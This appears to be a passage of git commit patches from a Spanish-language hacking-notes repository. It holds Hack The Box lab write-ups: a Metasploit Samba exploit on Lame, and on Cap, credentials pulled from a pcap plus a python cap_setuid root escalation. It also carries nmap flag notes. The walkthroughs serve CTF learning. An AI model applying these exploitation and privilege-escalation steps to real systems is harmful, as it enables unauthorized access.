13-34-53](https://user-images.githubusercontent.com/103068924/167403867-17ecf37e-5e8a-4e41-9403-ff6d701b08b2.png) + +Y finalmente el puerto abierto `RPORT` por el que corre el servicio Samba, en este caso el puerto `139`, este campo se suele +rellenar de forma autimática. + +![Captura de pantalla -2022-05-09 13-52-53](https://user-images.githubusercontent.com/103068924/167404426-44f0a7d5-57c6-475a-9c11-8079cb1492b4.png) + +Y finalmente ejecutamos Metasploit: + + exploit + +![Captura de pantalla -2022-05-09 13-36-49](https://user-images.githubusercontent.com/103068924/167404633-ab7437bf-1c2d-43a3-8c9e-ee57d00c5337.png) + +Vemos como nos crea la shell y que a de más estamos registrados como `root`. + +Finalmente como estamos registrados como `root` podemos buscar las flags sin ningún problema. Vemos que la flag del usuario la +podemos encontrar en el directorio `/home/makis/user.txt`. + +![Captura de pantalla -2022-05-09 13-39-09](https://user-images.githubusercontent.com/103068924/167404984-24576d4e-346f-4162-9f66-57510b3f9616.png) + +Y que la flag del usuario `root` lo podemos encontrar en el directorio `/root/root.txt`. + +![Captura de pantalla -2022-05-09 13-37-35](https://user-images.githubusercontent.com/103068924/167405126-6bd4e482-5ba2-4c22-b5b3-a88cf3733ecd.png) + +![Captura de pantalla -2022-05-07 18-32-07](https://user-images.githubusercontent.com/103068924/167405180-12c27e0a-f370-4788-baeb-6b725da56e99.png) + + + + From 0af49f456f9a211dcf9ff44939bbf70ebe33bd68 Mon Sep 17 00:00:00 2001 From: F1r0x <103068924+F1r0x@users.noreply.github.com> Date: Mon, 9 May 2022 13:57:56 +0200 Subject: [PATCH 0241/1701] Rename Lame.md to HTB-Lame.md --- Maquinas-HTB/{Lame.md => HTB-Lame.md} | 0 1 file changed, 0 insertions(+), 0 deletions(-) rename Maquinas-HTB/{Lame.md => HTB-Lame.md} (100%) diff --git a/Maquinas-HTB/Lame.md b/Maquinas-HTB/HTB-Lame.md similarity index 100% rename from Maquinas-HTB/Lame.md rename to Maquinas-HTB/HTB-Lame.md From 1db600d250ae9f3258af2401e3c6326cd0067fe2 Mon Sep 17 00:00:00 2001 From: F1r0x <103068924+F1r0x@users.noreply.github.com> Date: Mon, 9 May 2022 13:58:39 +0200 Subject: [PATCH 0242/1701] Update index.md --- index.md | 3 +++ 1 file changed, 3 insertions(+) diff --git a/index.md b/index.md index 9646e112dd3..1cc75010f6a 100644 --- a/index.md +++ b/index.md @@ -6,6 +6,9 @@ [HTB-Jerry](./Maquinas-HTB/HTB-Jerry.html) +[HTB-Lame](./Maquinas-HTB/HTB-Lame.html) + + ## Starting Points [HTB-Oopsie](./Starting Point/HTB-Oopsie.html) From f94125e0ba98a1476ae9276ce1a79978d021da97 Mon Sep 17 00:00:00 2001 From: F1r0x <103068924+F1r0x@users.noreply.github.com> Date: Mon, 9 May 2022 14:00:04 +0200 Subject: [PATCH 0243/1701] Update HTB-Lame.md --- Maquinas-HTB/HTB-Lame.md | 3 +++ 1 file changed, 3 insertions(+) diff --git a/Maquinas-HTB/HTB-Lame.md b/Maquinas-HTB/HTB-Lame.md index b6391fa43b2..276a6f0b19e 100644 --- a/Maquinas-HTB/HTB-Lame.md +++ b/Maquinas-HTB/HTB-Lame.md @@ -1,3 +1,6 @@ +![Captura de pantalla -2022-05-09 12-57-37](https://user-images.githubusercontent.com/103068924/167405551-4cd2153a-044b-42a7-bb99-3efb07ba4302.png) + + # HTB-Lame From b9e67910e82cc3f729c37652fda420d1a848df60 Mon Sep 17 00:00:00 2001 From: F1r0x <103068924+F1r0x@users.noreply.github.com> Date: Mon, 9 May 2022 14:03:14 +0200 Subject: [PATCH 0244/1701] Update HTB-Lame.md --- Maquinas-HTB/HTB-Lame.md | 26 +++++++++++++------------- 1 file changed, 13 insertions(+), 13 deletions(-) diff --git a/Maquinas-HTB/HTB-Lame.md b/Maquinas-HTB/HTB-Lame.md index 276a6f0b19e..488baa8ffe3 100644 --- a/Maquinas-HTB/HTB-Lame.md +++ b/Maquinas-HTB/HTB-Lame.md @@ -30,7 +30,7 @@ En primer lugar, debemos asegurar que estamos conectados a la víctima y tratar `--open` : Solo nos mostrará puertos con el estatus abierto. -`-T5` : Controla el tiempo y el rendimiento del escaneo donde 1 es el más lento y 5 el más rápido. +`-T5` : Controla el tiempo y el rendimiento del escaneo donde 1 es el más lento y 5 el más rápido. `-v` : Verbose. Recopila los puertos abiertos por TCP y los reporta por consola. @@ -62,8 +62,8 @@ En primer lugar, debemos asegurar que estamos conectados a la víctima y tratar ![Captura de pantalla -2022-05-07 17-52-38](https://user-images.githubusercontent.com/103068924/167393829-bc058509-3ec1-4eab-8997-57e2afb97bc7.png) -Vemos que en el puerto 21/tcp corre un servicio ftp con la versión `vsftpd 2.3.4`. Vamos a tratar de buscar alguna vulnerabilidad para está versión -en concreto. Para realizar la busqueda utilizaremos la herramienta `searchsploit`. En caso de no tenerlo lo instalamos: +Vemos que en el puerto 21/tcp corre un servicio ftp con la versión `vsftpd 2.3.4`. Vamos a tratar de buscar alguna vulnerabilidad para esta versión +en concreto. Para realizar la búsqueda utilizaremos la herramienta `searchsploit`. En caso de no tenerlo lo instalamos: sudo apt install searchsploit @@ -74,7 +74,7 @@ Luego lo ejecutamos y le especificamos la versión para que nos busque el `explo ![Captura de pantalla -2022-05-07 17-52-16](https://user-images.githubusercontent.com/103068924/167394414-f5e72232-7c5b-44bb-8326-7b580addf1b0.png) Vemos como para la versión 2.3.4 existe una herramienta llamada `Backdoor Command Execution (Metasploit)` alojado en el PATH `unix/remote/17491.rb`. -Veamos el código a ver que información utiliza para vulnerar está versio: +Veamos el código a ver que información utiliza para vulnerar está versión: searchsploit -x unix/remote/17491.rb @@ -84,8 +84,8 @@ Veamos el código a ver que información utiliza para vulnerar está versio: ![Captura de pantalla -2022-05-09 13-07-35](https://user-images.githubusercontent.com/103068924/167397813-ccae4253-80e9-43c6-aea4-28fa99ef8efc.png) -Esta herramienta por lo que parece, utiliza una serie de cadenas en el usuario para tratar de ganar acceso por el puerto 6200. Yo lo he intentado -manualmente y mediante `Metasploit` y no he podido acceder mediante está herramienta. +Esta herramienta, por lo que parece, usa una serie de cadenas en el usuario para tratar de ganar acceso por el puerto 6200. Yo lo he intentado +manualmente y mediante `Metasploit` y no he podido acceder mediante esta herramienta. ![Captura de pantalla -2022-05-09 13-01-26](https://user-images.githubusercontent.com/103068924/167398192-d205b407-614e-439e-aa2c-e18d3a6060e3.png) @@ -93,7 +93,7 @@ Al ver que esto no funcionaba, busque otro vector de ataque y vemos que por los ![Captura de pantalla -2022-05-09 13-17-47](https://user-images.githubusercontent.com/103068924/167399970-c676bcde-785d-4bea-936f-eaed02ccc5dc.png) -Vemos tambien que en el puerto 445 nos indiaca la versión `3.0.20`, así que buscamos sobre este servicio: +Vemos también que en el puerto 445 nos indica la versión `3.0.20`, así que buscamos sobre este servicio: searchsploit samba 3.0.20 @@ -101,7 +101,7 @@ Vemos tambien que en el puerto 445 nos indiaca la versión `3.0.20`, así que bu ## Metasploit -Vamos a tratar de acceder mediante `Metasploit` utilizando la herramienta reportada anteriormente. En primer lugar ejecutamos `metasploit`: +Vamos a tratar de acceder mediante `Metasploit` empleando la herramienta reportada anteriormente. En primer lugar, ejecutamos `Metasploit`: msfconsole @@ -111,16 +111,16 @@ Buscamos la versión de Samba para asegurarnos que tenemos la herramienta y ver ![Captura de pantalla -2022-05-09 13-30-56](https://user-images.githubusercontent.com/103068924/167402968-186b60cc-f240-4690-9d65-74faea05daa5.png) -Ahora mediante la variable `options` podemos ver los campos que tenemos que rellenar para poder realizar el ataque. +Ahora, mediante la variable `options` podemos ver los campos que tenemos que rellenar para poder realizar el ataque. ![Captura de pantalla -2022-05-09 13-32-08](https://user-images.githubusercontent.com/103068924/167403226-78c7e9b2-a4ab-48a2-b9bd-c0cff8e697e5.png) -Para cambiar los campos utilizamos la variable `set` y el campo que deseamos cambiar. Primero introduciremos el localhost `LHOST`, es nuestra IP o en este caso +Para cambiar los campos empleamos la variable `set` y el campo que deseamos cambiar. Primero introduciremos el localhost `LHOST`, es nuestra IP o en este caso la IP de la VPN de Hack the Box: ![Captura de pantalla -2022-05-09 13-35-27](https://user-images.githubusercontent.com/103068924/167403416-26917d45-b54e-4539-90d9-1d40a43bc32e.png) -Ahora especificamos el puero de escucha, yo voy a utilizar el `8080`: +Ahora especificamos el puerto de escucha, yo voy a utilizar el `8080`: ![Captura de pantalla -2022-05-09 13-33-13](https://user-images.githubusercontent.com/103068924/167403656-cf7c6037-69b3-46f5-92cc-69c1d2d6126f.png) @@ -129,7 +129,7 @@ Ahora especificaremos de la misma manera el remote host `RHSOT` en este caso la ![Captura de pantalla -2022-05-09 13-34-53](https://user-images.githubusercontent.com/103068924/167403867-17ecf37e-5e8a-4e41-9403-ff6d701b08b2.png) Y finalmente el puerto abierto `RPORT` por el que corre el servicio Samba, en este caso el puerto `139`, este campo se suele -rellenar de forma autimática. +rellenar de forma automática. ![Captura de pantalla -2022-05-09 13-52-53](https://user-images.githubusercontent.com/103068924/167404426-44f0a7d5-57c6-475a-9c11-8079cb1492b4.png) @@ -141,7 +141,7 @@ Y finalmente ejecutamos Metasploit: Vemos como nos crea la shell y que a de más estamos registrados como `root`. -Finalmente como estamos registrados como `root` podemos buscar las flags sin ningún problema. Vemos que la flag del usuario la +Finalmente, como estamos registrados como `root` podemos buscar las flags sin ningún problema. Vemos que la flag del usuario la podemos encontrar en el directorio `/home/makis/user.txt`. ![Captura de pantalla -2022-05-09 13-39-09](https://user-images.githubusercontent.com/103068924/167404984-24576d4e-346f-4162-9f66-57510b3f9616.png) From f6f905bf13014d41905684f27127a410de5cb887 Mon Sep 17 00:00:00 2001 From: F1r0x <103068924+F1r0x@users.noreply.github.com> Date: Mon, 9 May 2022 23:15:35 +0200 Subject: [PATCH 0245/1701] Update Nmap.md --- Herramientas_y_Scripts/Nmap.md | 21 +++++++++++++++++++++ 1 file changed, 21 insertions(+) diff --git a/Herramientas_y_Scripts/Nmap.md b/Herramientas_y_Scripts/Nmap.md index 6158b10f318..2bc7735e1a4 100644 --- a/Herramientas_y_Scripts/Nmap.md +++ b/Herramientas_y_Scripts/Nmap.md @@ -43,3 +43,24 @@ De esta manera podremos revisar los puertos que estaban abiertos en cualquier mo `-oN` : Reporta los resultados en formato nmap al archivo `targed`. +### Escaneo Rápido Completo: + + nmap -p- --open -sS --min-rate 5800 -vvv -n -Pn [Ip Vícitma] -oG allPorts + +`-p-` : Escanea todo el rango de puertos. + +`--open` : Solo nos mostrará puertos con el estatus abierto. + +`-sS` : El escaneo SYN realizar rápidamente, escaneando miles de puertos por segundo en una red rápida que no se ve obstaculizada por firewalls intrusivos. + +`--min-rate` : Controla directamente la tasa de escaneo. Nmap intentará mantener la velocidad de envío en 5000 paquetes por segundo o más. + +`-v` : Verbose. Recopila los puertos abiertos por TCP y los reporta por consola. + +`-n` : Anula la resolución DNS. + + + + + + From 3ab6ca16936c735b1baa47d7982700772474e2cf Mon Sep 17 00:00:00 2001 From: F1r0x <103068924+F1r0x@users.noreply.github.com> Date: Mon, 9 May 2022 23:17:22 +0200 Subject: [PATCH 0246/1701] Update Nmap.md --- Herramientas_y_Scripts/Nmap.md | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/Herramientas_y_Scripts/Nmap.md b/Herramientas_y_Scripts/Nmap.md index 2bc7735e1a4..bb4e4ded6a6 100644 --- a/Herramientas_y_Scripts/Nmap.md +++ b/Herramientas_y_Scripts/Nmap.md @@ -55,8 +55,8 @@ De esta manera podremos revisar los puertos que estaban abiertos en cualquier mo `--min-rate` : Controla directamente la tasa de escaneo. Nmap intentará mantener la velocidad de envío en 5000 paquetes por segundo o más. -`-v` : Verbose. Recopila los puertos abiertos por TCP y los reporta por consola. - +`-vvv` : Triple verbose. Recopila los puertos abiertos por TCP y los reporta por consola. Cuanto más verbose más información reporta mientras se realiza el escaneneo. + `-n` : Anula la resolución DNS. From e1cd9532856b22d5b6efa7034e970b5df17db679 Mon Sep 17 00:00:00 2001 From: F1r0x <103068924+F1r0x@users.noreply.github.com> Date: Tue, 10 May 2022 00:12:59 +0200 Subject: [PATCH 0247/1701] Update Bluetoothctl.md --- "Linux/Introducci\303\263n_a_Linux/Bluetoothctl.md" | 8 ++++++++ 1 file changed, 8 insertions(+) diff --git "a/Linux/Introducci\303\263n_a_Linux/Bluetoothctl.md" "b/Linux/Introducci\303\263n_a_Linux/Bluetoothctl.md" index 647f5ef55c7..c90f7c53f18 100644 --- "a/Linux/Introducci\303\263n_a_Linux/Bluetoothctl.md" +++ "b/Linux/Introducci\303\263n_a_Linux/Bluetoothctl.md" @@ -43,4 +43,12 @@ El `número MAC` es el número que corresponde con el dispositivo que se nos mue Una vez conectados podemos salir de la shell simplemente escribiendo `exit`. +### Failed to start discovery: org.bluez.Error.NotReady + +Para solucionar este error simplemente volvemos activar el controlador: + + bluetoothctl power on + + + From 5820f2d6070115ee73e862390433b51826d353b8 Mon Sep 17 00:00:00 2001 From: F1r0x <103068924+F1r0x@users.noreply.github.com> Date: Tue, 10 May 2022 00:34:29 +0200 Subject: [PATCH 0248/1701] Update Bluetoothctl.md --- "Linux/Introducci\303\263n_a_Linux/Bluetoothctl.md" | 7 +++---- 1 file changed, 3 insertions(+), 4 deletions(-) diff --git "a/Linux/Introducci\303\263n_a_Linux/Bluetoothctl.md" "b/Linux/Introducci\303\263n_a_Linux/Bluetoothctl.md" index c90f7c53f18..6263495d3cf 100644 --- "a/Linux/Introducci\303\263n_a_Linux/Bluetoothctl.md" +++ "b/Linux/Introducci\303\263n_a_Linux/Bluetoothctl.md" @@ -8,10 +8,9 @@ Para poder abrir el gestor de bluetooth desde la terminal de Linux, utilizaremos ![Captura de pantalla -2022-05-01 13-33-44](https://user-images.githubusercontent.com/103068924/166144293-751d6490-cb12-48af-bffe-a258dbf4b8a3.png) -![Captura de pantalla -2022-05-01 13-34-37](https://user-images.githubusercontent.com/103068924/166144302-ded1cb19-2fe8-40c8-8605-054d7662ef4e.png) +![Captura de pantalla -2022-05-01 13-34-37](https://user-images.githubusercontent.com/103068924/167509081-4b8466f9-5b40-4b67-9804-5694653dfff8.png) -Para ver todos los comandos disponibles podemos ejecutar el siguiente comando o una vez dentro de la shell -de bluetoothctl escribir `help`: +Para ver todos los comandos disponibles podemos ejecutar el siguiente comando o una vez dentro de la shell de bluetoothctl escribir `help`: bluetoot help @@ -23,7 +22,7 @@ Para poder ver las epecificaciones de nuestro administrador Bluetooth: show - ![Captura de pantalla -2022-05-01 13-45-24](https://user-images.githubusercontent.com/103068924/166144368-c6eabdca-5f32-44aa-90b1-36eb7d25175d.png) +![Captura de pantalla -2022-05-01 13-45-24](https://user-images.githubusercontent.com/103068924/167509402-bffae03e-221f-4892-b29d-b283207ba20f.png) Para realizar una búsqueda de los dispositivos: From 308537d5bff3f581a8fa1c3d7ab5f4b6931924e6 Mon Sep 17 00:00:00 2001 From: F1r0x <103068924+F1r0x@users.noreply.github.com> Date: Tue, 10 May 2022 00:35:10 +0200 Subject: [PATCH 0249/1701] Update Bluetoothctl.md --- "Linux/Introducci\303\263n_a_Linux/Bluetoothctl.md" | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git "a/Linux/Introducci\303\263n_a_Linux/Bluetoothctl.md" "b/Linux/Introducci\303\263n_a_Linux/Bluetoothctl.md" index 6263495d3cf..0c3d057bd73 100644 --- "a/Linux/Introducci\303\263n_a_Linux/Bluetoothctl.md" +++ "b/Linux/Introducci\303\263n_a_Linux/Bluetoothctl.md" @@ -47,7 +47,8 @@ Una vez conectados podemos salir de la shell simplemente escribiendo `exit`. Para solucionar este error simplemente volvemos activar el controlador: bluetoothctl power on - + +![Captura de pantalla -2022-05-10 00-15-20](https://user-images.githubusercontent.com/103068924/167509618-6907f818-fe01-4c24-a917-b73ed4a1dfe2.png) From c093204143af9442e92b9adb237f76ac00adbf7f Mon Sep 17 00:00:00 2001 From: F1r0x <103068924+F1r0x@users.noreply.github.com> Date: Tue, 10 May 2022 01:58:55 +0200 Subject: [PATCH 0250/1701] Create HTB-Cap.md --- Maquinas-HTB/HTB-Cap.md | 214 ++++++++++++++++++++++++++++++++++++++++ 1 file changed, 214 insertions(+) create mode 100644 Maquinas-HTB/HTB-Cap.md diff --git a/Maquinas-HTB/HTB-Cap.md b/Maquinas-HTB/HTB-Cap.md new file mode 100644 index 00000000000..29a20c1ee74 --- /dev/null +++ b/Maquinas-HTB/HTB-Cap.md @@ -0,0 +1,214 @@ +![Captura de pantalla -2022-05-09 22-42-07](https://user-images.githubusercontent.com/103068924/167496487-a71ffc73-b5a5-40d0-af8d-09985c1c4af1.png) + +# Hack The Box - Cap + +En primer lugar, nos creamos un directorio con el nombre de la máquina desde el que trabajaremos: + + sudo mkdir Cap + +Ahora, mediante la función [`mkt`](../Herramientas_y_Scripts/mkt.html) que tengo previamente definida en la `.zhshrc` crearemos nuestros directorios de trabajo: + + sudo mkt + +Esta función está definida para crearnos cuatro directorios (`nmap`, `content`, `exploits` y `scripts`) desde los cuales poder trabajar a la hora de +realizar las máquinas de HTB. + +### PING + +Ejecutamos un `ping` y vemos como nos reporta un ttl=63, por tanto, ya sabemos que estamos frente una máquina Linux. + + ping -c 1 10.10.10.245 + +![Captura de pantalla -2022-05-09 22-50-48](https://user-images.githubusercontent.com/103068924/167497195-d69bd6ca-65fc-4ad6-97e9-7ba11627fdad.png) + +Verificamos mediante la herramienta [WishSystem](../Herramientas_y_Scripts/WichSistem.html) que nos encontramos frente +a un sistema Linux. + +Ahora vamos a ver mediante `whatweb` que más podemos ver: + + whatweb 10.10.10.245 + +![Captura de pantalla -2022-05-09 23-01-58](https://user-images.githubusercontent.com/103068924/167497948-0a37ea37-6d93-4b33-9ca9-c55c76d70e0a.png) + +Vemos que no nos reporta nada interesante, asi que vamos a proceder mediante [`Nmap`](../Herramientas_y_Scripts/Nmap.html) a tratar de reportar todos +los puertos abiertos. + +### NMAP + +Ahora mediante `nmap` realizaremos un escaneo de puertos: + + nmap -p- --open -sS --min-rate 5800 -vvv -n -Pn 10.10.10.245 -oG allPorts + +`-p-` : Escanea todo el rango de puertos. + +`--open` : Solo nos mostrará puertos con el estatus abierto. + +`-sS` : El escaneo SYN realizar rápidamente, escaneando miles de puertos por segundo en una red rápida que no se ve obstaculizada por firewalls intrusivos. + +`--min-rate` : Controla directamente la tasa de escaneo. Nmap intentará mantener la velocidad de envío en 5000 paquetes por segundo o más. + +`-vvv` : Triple verbose. Recopila los puertos abiertos por TCP y los reporta por consola. Cuanto más verbose más información reporta mientras se realiza el escaneneo. + +`-n` : Anula la resolución DNS. + +![Captura de pantalla -2022-05-07 13-52-00](https://user-images.githubusercontent.com/103068924/167500289-9afcfe91-4323-44cd-a5ad-8ca0edc08fca.png) + +Vemos como los puertos 21,22 y 80 están abiertos y que en los tres corren servicios interesantes +vamos a tratar de realizar meidante una serie de scripts básicos de reconocimiento un segundo escaneo +enfocandonos en los puertos que hemos encontrado abiertos: + + nmap -sC -sV -p[Port1,Port2] -oN targed + +`-sC` : Lanza scrips básicos de reconocimiento. + +`-sV` : Localiza la versión y servicio de los puertos definidos. + +`-p` : Puertos a escanear. Ej: -p22,80 + +`-oN` : Reporta los resultados en formato nmap al archivo `targed`. + + +![Captura de pantalla -2022-05-07 13-54-13](https://user-images.githubusercontent.com/103068924/167502535-93afc986-095d-4786-8a59-728035938efc.png) + +![Captura de pantalla -2022-05-07 13-55-15](https://user-images.githubusercontent.com/103068924/167502581-3cad0416-bc03-45f6-85ba-832dee935bb6.png) + +![Captura de pantalla -2022-05-07 13-55-36](https://user-images.githubusercontent.com/103068924/167502619-5dd465e6-f94e-46d2-8869-c75cd24e9206.png) + +Vemos que por el puerto 80 corre un servicio `http` con la versión `gunicorn`. Vamos a tratar de acceder al +dominio `http://10.10.10.245` utilizando el navegador, en mi caso Firefox. + +![Captura de pantalla -2022-05-07 14-02-57](https://user-images.githubusercontent.com/103068924/167509698-bcb004cf-b653-4e2e-adc5-277990de1fe2.png) + +![Captura de pantalla -2022-05-07 14-03-07](https://user-images.githubusercontent.com/103068924/167509714-b3cca34c-4442-4cf2-8718-0a61317323b0.png) + +Vemos como el dominio nos lleva hasta un panel de gráficos de un usuario llamado `Nathan`. Tras investigar la página, vemos como arriba a la izquierda +tenemos un menu desplegable y me llama especialmente la atención el apartado `Security Snapshot (5 Second PCAP + Analysis)`. + +![Captura de pantalla -2022-05-07 14-03-40](https://user-images.githubusercontent.com/103068924/167510011-d6d88eeb-de95-47f3-908a-22139d617c63.png) + +Vemos como nos muestra una página que parece contener archivos guardados y donde tambien tenemos un boton de `Download`. Algo que es intersante es ver como nos +indica el directorio actual mediante el número `3`. + +![Captura de pantalla -2022-05-10 00-46-06](https://user-images.githubusercontent.com/103068924/167511204-af909e73-082c-4807-ab48-82dcf377c0a2.png) + +Tras probar otros números, veo que esxisten varias páginas de ficheros empezando desde el `0` que parece ser la página que más archivos tiene guardados. +Vamos a pulsar `Donwload` y descargarnos el archivo para ver de que se trata. + +![Captura de pantalla -2022-05-07 14-03-40](https://user-images.githubusercontent.com/103068924/167511798-87eca5db-67a7-4b8d-9ae2-566f7c8e1c29.png) + +![Captura de pantalla -2022-05-10 00-47-49](https://user-images.githubusercontent.com/103068924/167511794-b5f0fc92-be67-44bd-b416-f25a6fec4e59.png) + +Vamos a llevar el archivo al directorio `content` donde vamos a realizar primeramente un `cat` para ver de que se trata y vemos que el arhivo contiene un binario. + +![Captura de pantalla -2022-05-10 01-02-17](https://user-images.githubusercontent.com/103068924/167512847-8dd4d2cc-9080-4e24-b393-b93972a6b6bf.png) + +Para poder ver el binario vamos a utilizar la herramienta `tshark`. En caso de no tenerla podeís descargarla utilizando el siguiente comando: + + sudo apt install tshark + +Una vez instalado vamos a tratar de leer el archivo: + + tshark -r 0.pcap 2>/dev/null + +![Captura de pantalla -2022-05-07 14-18-25](https://user-images.githubusercontent.com/103068924/167512794-c12ea3d8-7203-41be-8358-a7cd9ab0c864.png) + +![Captura de pantalla -2022-05-07 14-18-38](https://user-images.githubusercontent.com/103068924/167512817-3c665977-b629-42e0-a2d5-c62c2ef9f88d.png) + +Tras revisar el contenido vemos que por el centro del archivo se ecuntran las credenciales de un usuario. Nos muestra un user `nathan` y una PASS `Buck3tH4TF0RM3!`. + +![Captura de pantalla -2022-05-07 14-19-36](https://user-images.githubusercontent.com/103068924/167513339-64286ff5-a981-419b-94cc-6ff2effed285.png) + +![Captura de pantalla -2022-05-07 14-21-26](https://user-images.githubusercontent.com/103068924/167513346-05d65360-adc1-4121-bc7a-84e8ff8e57cf.png) + +![Captura de pantalla -2022-05-07 14-21-38](https://user-images.githubusercontent.com/103068924/167513350-3c956c7d-6230-40ad-bab6-4883e1b13c2c.png) + +Mediante los siguientes parámetros podríamos filtrar el archivo para solo reportar la información interesante. + + tshark -r 0.pcap -Y "ftp" -Tfields -e tcp.payload 2>/dev/null | xxd -ps -r + +![Captura de pantalla -2022-05-07 14-27-41](https://user-images.githubusercontent.com/103068924/167513759-253ccb44-6e98-4e92-b848-793aaab8db70.png) + +Visto esto, vamos a tratar de conectarnos mediante `ftp` con las credenciales que hemos econtrado. + + ftp 10.10.10.245 + +![Captura de pantalla -2022-05-07 14-29-55](https://user-images.githubusercontent.com/103068924/167513995-41825a15-bc30-4952-977a-7eba85e0b2bd.png) + +Perfecto vemos como nos permite conectarnos como el usuario `nathan`. Lo primero que debemos hacer es activar el modo pasivo para no tener problemas con los comandos. + + passive + +Ahora realizando un `ls` vemos como ahí se encuntra el archivo `user.txt` con la primera flag. + +![Captura de pantalla -2022-05-07 14-32-01](https://user-images.githubusercontent.com/103068924/167514474-3015b4d9-f036-4091-804f-fe88709a3a20.png) + +Al tratar de visualizar el archivo con `cat` vemos como no nos lo permite. + +![Captura de pantalla -2022-05-07 14-33-10](https://user-images.githubusercontent.com/103068924/167514547-ec8af6cd-6570-4c17-8665-ad843774bf9f.png) + +Al revisar mediante la variable `help` las opciones que podemos utilizar: + +![Captura de pantalla -2022-05-07 14-33-24](https://user-images.githubusercontent.com/103068924/167514823-45792852-cd79-4a11-8874-52712fdf2523.png) + +Vemos que está displonible el comando `get`, asi que vamos a tratar de descargarnos el archivo +hasta nuestro respositorio. + +![Captura de pantalla -2022-05-07 14-33-52](https://user-images.githubusercontent.com/103068924/167514855-3749a186-347f-4a9e-9682-3e08ef3997a7.png) + +Abrimos una terminal nueva y nos dirigimos a nuestro directorio `content`, si hemos ejecutado anteriormente la shell ftp desde aquí, vemos como se nos abrá descargado en este directorio el archivo `user.txt`. + +![Captura de pantalla -2022-05-07 14-34-30](https://user-images.githubusercontent.com/103068924/167515085-9308eeb3-3c49-470c-beab-bc7ccffd6da5.png) + +![Captura de pantalla -2022-05-07 14-34-43](https://user-images.githubusercontent.com/103068924/167515100-2f0efbfd-5f1f-4761-9bcd-efc9c249af64.png) + +Ahora, para tratar de conseguir la flag del `root`, como la shell por ftp nos ha estado dando problemas con algunos comandos, vamos a tratar de establecer conexioón mediante el servicio `ssh` y utilizando las mismas credenciales: + + ssh nathan@10.10.10.245 + +![Captura de pantalla -2022-05-07 14-41-53](https://user-images.githubusercontent.com/103068924/167515375-f18a3637-d680-4f3a-95a7-e39fec5cb6b8.png) + +![Captura de pantalla -2022-05-07 14-43-29](https://user-images.githubusercontent.com/103068924/167515428-dbc65421-8d8a-42c0-b7ca-d0eb4393c7b0.png) + +Primero vamos a tratar de ver si tenemos algún tipo de privilegios: + +![Captura de pantalla -2022-05-07 14-44-17](https://user-images.githubusercontent.com/103068924/167515911-dbd2791b-dfb6-44f4-835a-a28aaae4b1fd.png) + +Vemos que nos pide una password y por desgracia no nos sirve la misma que hemos utilizado anteriormente. + +Ahora para tratar de enumerar archivos de interes utilizaremos `getcap` muestra el nombre y las capacidades de cada archivo especificado. +En el caso de no disponer de `getcap` podemos descargarlo de la siguiente manera: + + getcap -r / 2>/dev/null + +![Captura de pantalla -2022-05-07 14-52-31](https://user-images.githubusercontent.com/103068924/167515850-8374e20f-b072-4f01-8b53-e0bf3beb8e85.png) + + Vemos como se nos reporta un archivo llamado `cap_setuid` y que esta siendo ejecutado en `Python3.8`. + + ![Captura de pantalla -2022-05-07 14-53-07](https://user-images.githubusercontent.com/103068924/167516218-a13658d9-7756-425f-9ad9-3f0003d7e9d6.png) + +Tras buscar información sobre vulnerabilidades basdas en Python3.8 y he encontrado los siguientes comandos que nos permiter crear una shell en bash resgistrandonos automaticamnte como `root`. +Para ello vamos a introducir los siguientes comandos: + + import os + +![Captura de pantalla -2022-05-07 14-53-41](https://user-images.githubusercontent.com/103068924/167516619-1c9c3ac6-3d46-4cf4-81ec-0073e5e1a41b.png) + + os.setuid(0) + +![Captura de pantalla -2022-05-07 14-54-29](https://user-images.githubusercontent.com/103068924/167516639-024bf781-d32c-4086-ae02-62cf686662ef.png) + + os.system("bash") + +![Captura de pantalla -2022-05-07 14-54-58](https://user-images.githubusercontent.com/103068924/167516655-a20acc11-8352-4a4e-bc11-0ab7c7b2e02c.png) + +![Captura de pantalla -2022-05-07 14-55-13](https://user-images.githubusercontent.com/103068924/167516669-79d3c0f6-cdc5-49a8-973f-7213ceb17d17.png) + +Vemos como ha funcionado y ya tenemos nuesta shell en `bash` y si ejecutamos el comando `whoami` podemos ver como como estamos registrado como root. Finalmente, podemos encontrar la flag del achivo root dentro del directorio +`/root/root.txt`. + +![Captura de pantalla -2022-05-07 14-55-46](https://user-images.githubusercontent.com/103068924/167517012-2a3a59e2-936b-4d18-a8ca-dab713d8e85f.png) + +![Captura de pantalla -2022-05-07 14-56-42](https://user-images.githubusercontent.com/103068924/167517029-673c71ca-21c2-4e7e-a8ee-b98ddbaedbd4.png) + + + From 52d04f95a4b7a5a4f1f1a90ec0d344c82d05b5c2 Mon Sep 17 00:00:00 2001 From: F1r0x <103068924+F1r0x@users.noreply.github.com> Date: Tue, 10 May 2022 02:00:46 +0200 Subject: [PATCH 0251/1701] Update index.md --- index.md | 2 ++ 1 file changed, 2 insertions(+) diff --git a/index.md b/index.md index 1cc75010f6a..3c7ee2c82ed 100644 --- a/index.md +++ b/index.md @@ -8,6 +8,8 @@ [HTB-Lame](./Maquinas-HTB/HTB-Lame.html) +[HTB-Cap](./Maquinas-HTB/HTB-Cap.html) + ## Starting Points From 12bc3a0ff9f9b524342a5f77702ca959dcc50117 Mon Sep 17 00:00:00 2001 From: F1r0x <103068924+F1r0x@users.noreply.github.com> Date: Tue, 10 May 2022 02:05:54 +0200 Subject: [PATCH 0252/1701] Update HTB-Cap.md --- Maquinas-HTB/HTB-Cap.md | 12 +++++++++++- 1 file changed, 11 insertions(+), 1 deletion(-) diff --git a/Maquinas-HTB/HTB-Cap.md b/Maquinas-HTB/HTB-Cap.md index 29a20c1ee74..cb4e9182c9c 100644 --- a/Maquinas-HTB/HTB-Cap.md +++ b/Maquinas-HTB/HTB-Cap.md @@ -1,6 +1,6 @@ ![Captura de pantalla -2022-05-09 22-42-07](https://user-images.githubusercontent.com/103068924/167496487-a71ffc73-b5a5-40d0-af8d-09985c1c4af1.png) -# Hack The Box - Cap +# Hack The Box-Cap En primer lugar, nos creamos un directorio con el nombre de la máquina desde el que trabajaremos: @@ -24,6 +24,8 @@ Ejecutamos un `ping` y vemos como nos reporta un ttl=63, por tanto, ya sabemos q Verificamos mediante la herramienta [WishSystem](../Herramientas_y_Scripts/WichSistem.html) que nos encontramos frente a un sistema Linux. +### WhatWeb + Ahora vamos a ver mediante `whatweb` que más podemos ver: whatweb 10.10.10.245 @@ -102,6 +104,8 @@ Vamos a llevar el archivo al directorio `content` donde vamos a realizar primera ![Captura de pantalla -2022-05-10 